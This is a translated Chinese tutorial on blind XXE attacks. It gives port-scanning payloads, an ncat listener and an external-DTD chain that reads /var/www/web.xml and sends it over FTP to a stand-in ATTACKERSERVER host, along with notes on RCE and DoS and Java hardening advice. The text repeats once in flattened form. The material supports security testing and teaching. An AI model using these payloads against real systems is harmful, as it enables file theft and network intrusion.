【译】黑夜的猎杀-盲打XXE
字数 1278 2025-08-29 08:31:41

XXE漏洞盲打技术深度解析

1. XXE漏洞基础概念

XML外部实体攻击(XXE)是一种应用层攻击,发生在应用程序能够解析XML输入且配置不当的情况下。攻击者通过在XML输入中包含外部实体引用,可能导致:

  • 机密信息泄漏
  • 拒绝服务攻击(DoS)
  • 服务器端请求伪造(SSRF)
  • 端口扫描
  • 本地文件包含(LFI)
  • 远程代码执行(RCE)

2. 盲打XXE的发现过程

2.1 初始探测

  1. 将JSON格式的POST请求Content-Type改为application/xml
  2. 观察服务器返回的错误信息:
    javax.xml.bind.UnmarshalException - with linked exception: 
    [Exception [EclipseLink-25004] (Eclipse Persistence Services): 
    org.eclipse.persistence.exceptions.XMLMarshalException 
    Exception Description: An error occurred unmarshalling the document
    

2.2 验证XML处理能力

发送基本XML结构:

<?xml version="1.0" encoding="utf-8"?>

服务器返回更详细的错误信息,确认XML处理能力。

3. 盲打XXE技术详解

3.1 基于错误的端口扫描

攻击原理:利用XXE进行SSRF,通过错误响应差异判断端口开放情况。

攻击载荷示例

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>

响应分析

  • 端口关闭:返回"Connection refused"
  • 端口开放:返回其他特定错误信息

自动化扫描

  1. 使用Burp Intruder
  2. 设置攻击点:端口号(0-65535)和协议(HTTP/HTTPS/FTP)
  3. 根据响应长度和内容差异判断开放端口

3.2 外部交互验证

验证服务器出站能力

  1. 在攻击者服务器上监听端口:
    ncat -lvkp 8090
    
  2. 发送包含外部实体引用的XML:
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE data SYSTEM "http://ATTACKERIP:8090/" [
    <!ELEMENT data (#PCDATA)>
    ]>
    <data>4</data>
    
  3. 观察攻击者服务器是否收到连接

3.3 文件存在性探测(OOB技术)

攻击流程

  1. 主请求引用外部DTD文件
    <?xml version="1.0" ?>
    <!DOCTYPE a [
    <!ENTITY % asd SYSTEM "http://ATTACKERSERVER:8090/xxe_file.dtd">
    %asd;
    %c;
    ]>
    <a>&rrr;</a>
    
  2. 外部DTD文件内容:
    <!ENTITY % d SYSTEM "file:///var/www/web.xml">
    <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://ATTACKERSERVER:2121/%d;'>">
    
  3. 通过错误响应差异判断文件是否存在:
    • 文件不存在:"No such file or directory"
    • 文件存在:其他特定错误

3.4 内网信息收集

FTP协议信息泄漏

  1. 使用xxe-ftp-server监听
  2. 发送包含FTP引用的XML:
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE test [
    <!ENTITY % one SYSTEM "ftp://ATTACKERHOST:2121/">
    %one;
    %two;
    %four;
    %five;
    ]>
    
  3. 从FTP日志获取内网IP和Java版本信息

4. 防御措施

  1. 禁用外部实体处理:

    // Java示例
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    
  2. 输入验证:

    • 使用白名单验证XML输入
    • 过滤DOCTYPE声明
  3. 安全配置:

    • 使用本地静态DTD
    • 限制XML解析器的网络访问
  4. 其他措施:

    • 使用JSON替代XML
    • 定期更新XML处理器
    • 实施严格的防火墙规则限制出站连接

5. 高级利用技巧

  1. 内网端口扫描

    • 获取内网IP段后,可对内网其他主机进行扫描
    • 结合错误响应差异识别内网服务
  2. 数据外带

    • 通过FTP/DNS等协议外带数据
    • 使用编码技术绕过长度限制
  3. RCE尝试

    • 利用expect://协议(需PHP环境)
    • 通过jar://协议执行代码
  4. DoS攻击

    • 使用递归实体引用消耗服务器资源
    • 引用大文件导致内存耗尽

6. 工具推荐

  1. 测试工具

    • Burp Suite (Intruder模块)
    • OWASP ZAP
    • XXEinjector
  2. 监听工具

    • ncat/netcat
    • xxe-ftp-server
    • Burp Collaborator
  3. 分析工具

    • Wireshark (分析网络流量)
    • tcpdump (捕获数据包)

通过掌握这些盲打XXE技术,安全测试人员可以在没有直接回显的情况下,依然能够有效识别和利用XXE漏洞,全面评估系统安全性。

XXE漏洞盲打技术深度解析 1. XXE漏洞基础概念 XML外部实体攻击(XXE)是一种应用层攻击,发生在应用程序能够解析XML输入且配置不当的情况下。攻击者通过在XML输入中包含外部实体引用,可能导致: 机密信息泄漏 拒绝服务攻击(DoS) 服务器端请求伪造(SSRF) 端口扫描 本地文件包含(LFI) 远程代码执行(RCE) 2. 盲打XXE的发现过程 2.1 初始探测 将JSON格式的POST请求Content-Type改为 application/xml 观察服务器返回的错误信息: 2.2 验证XML处理能力 发送基本XML结构: 服务器返回更详细的错误信息,确认XML处理能力。 3. 盲打XXE技术详解 3.1 基于错误的端口扫描 攻击原理 :利用XXE进行SSRF,通过错误响应差异判断端口开放情况。 攻击载荷示例 : 响应分析 : 端口关闭:返回"Connection refused" 端口开放:返回其他特定错误信息 自动化扫描 : 使用Burp Intruder 设置攻击点:端口号(0-65535)和协议(HTTP/HTTPS/FTP) 根据响应长度和内容差异判断开放端口 3.2 外部交互验证 验证服务器出站能力 : 在攻击者服务器上监听端口: 发送包含外部实体引用的XML: 观察攻击者服务器是否收到连接 3.3 文件存在性探测(OOB技术) 攻击流程 : 主请求引用外部DTD文件 外部DTD文件内容: 通过错误响应差异判断文件是否存在: 文件不存在:"No such file or directory" 文件存在:其他特定错误 3.4 内网信息收集 FTP协议信息泄漏 : 使用xxe-ftp-server监听 发送包含FTP引用的XML: 从FTP日志获取内网IP和Java版本信息 4. 防御措施 禁用外部实体处理: 输入验证: 使用白名单验证XML输入 过滤DOCTYPE声明 安全配置: 使用本地静态DTD 限制XML解析器的网络访问 其他措施: 使用JSON替代XML 定期更新XML处理器 实施严格的防火墙规则限制出站连接 5. 高级利用技巧 内网端口扫描 : 获取内网IP段后,可对内网其他主机进行扫描 结合错误响应差异识别内网服务 数据外带 : 通过FTP/DNS等协议外带数据 使用编码技术绕过长度限制 RCE尝试 : 利用expect://协议(需PHP环境) 通过jar://协议执行代码 DoS攻击 : 使用递归实体引用消耗服务器资源 引用大文件导致内存耗尽 6. 工具推荐 测试工具 : Burp Suite (Intruder模块) OWASP ZAP XXEinjector 监听工具 : ncat/netcat xxe-ftp-server Burp Collaborator 分析工具 : Wireshark (分析网络流量) tcpdump (捕获数据包) 通过掌握这些盲打XXE技术,安全测试人员可以在没有直接回显的情况下,依然能够有效识别和利用XXE漏洞,全面评估系统安全性。